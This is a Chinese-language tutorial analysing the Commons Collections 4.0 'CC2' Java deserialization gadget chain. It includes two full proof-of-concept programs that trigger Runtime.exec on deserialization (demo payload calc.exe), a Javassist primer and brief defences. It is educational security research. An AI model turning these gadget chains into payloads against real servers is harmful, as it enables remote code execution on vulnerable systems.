通俗易懂的Java Commons Collection 2分析
字数 1914 2025-08-03 16:45:56
Java Commons Collections 2 (CC2) 反序列化漏洞分析
前言
CC2利用链是基于Apache Commons Collections 4.0版本的反序列化漏洞,它使用了javassist和PriorityQueue来构造利用链。与CC1不同,CC2在Commons Collections 3.1-3.2.1版本中不可用,因为TransformingComparator在这些版本中没有实现Serializable接口。
环境搭建
- JDK版本:1.7
- Commons Collections版本:4.0
- Maven依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
利用链分析
基本利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点分析
-
PriorityQueue.readObject()
- 从反序列化中读取
queue[i]的值 - 通过反射可以控制
queue[i]的内容 - 调用
heapify()方法,当size > 1时进入循环
- 从反序列化中读取
-
heapify()方法
- 当
i >= 0时进入循环 i = (size >>> 1) - 1,所以需要size > 1
- 当
-
siftDownUsingComparator()方法
- 关键调用:
comparator.compare(x, (E) c) TransformingComparator实现了compare方法- 该方法中调用
this.transformer.transform()
- 关键调用:
POC分析
POC1: 使用InvokerTransformer
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
// 初始创建时不传入comparator
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
// 通过反射设置comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, Tcomparator);
// 序列化和反序列化
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
关键点:
- 使用
ChainedTransformer构建Transformer链 - 初始创建
PriorityQueue时不传入comparator,避免立即执行命令 - 通过反射设置comparator为
TransformingComparator - 需要添加两个元素使
size > 1
POC2: 使用TemplatesImpl和Javassist
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception {
// 创建InvokerTransformer,方法名为newTransformer
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
// 使用Javassist创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
// 创建TemplatesImpl对象并设置字段
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
// 设置PriorityQueue的queue字段
Object[] queue_array = new Object[]{templates, 1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue, queue_array);
// 设置size字段
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue, 2);
// 设置comparator字段
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue, Tcomparator);
// 序列化和反序列化
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
关键点:
- 使用
InvokerTransformer调用newTransformer方法 - 使用Javassist创建恶意类:
- 在类初始化时插入恶意代码
- 设置父类为
AbstractTranslet
- 使用
TemplatesImpl承载恶意字节码 - 通过反射设置
PriorityQueue的各个字段
Javassist基础
Javassist是一个用于分析、编辑和创建Java字节码的类库。
关键类和方法
-
ClassPool
static ClassPool getDefault(): 获取默认ClassPoolClassPath insertClassPath(ClassPath cp): 在类搜索路径起始位置插入ClassPathCtClass makeClass: 根据类名创建新的CtClass对象CtClass get(String classname): 读取类文件并返回CtClass引用
-
CtClass
void setSuperclass(CtClass clazz): 设置超类byte[] toBytecode(): 将类转换为字节数组CtConstructor makeClassInitializer(): 创建空的类初始化程序
示例代码
import javassist.*;
public class javassit_test {
public static void createPerson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println(\"javassit_test succes!\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.writeFile();
Class c = cc.toClass();
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
TemplatesImpl利用分析
-
调用链
PriorityQueue.readObject()TransformingComparator.compare()InvokerTransformer.transform()(调用newTransformer)TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()defineTransletClasses()加载恶意类- 实例化恶意类执行静态代码块中的命令
-
关键条件
_name不能为null_class必须为null_bytecodes不能为null- 恶意类必须继承
AbstractTranslet
防御措施
- 升级Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
参考链接
- https://blog.csdn.net/qq_41918771/article/details/117194343
- https://www.cnblogs.com/depycode/p/13583102.html
- https://www.cnblogs.com/nice0e3/p/13811335.html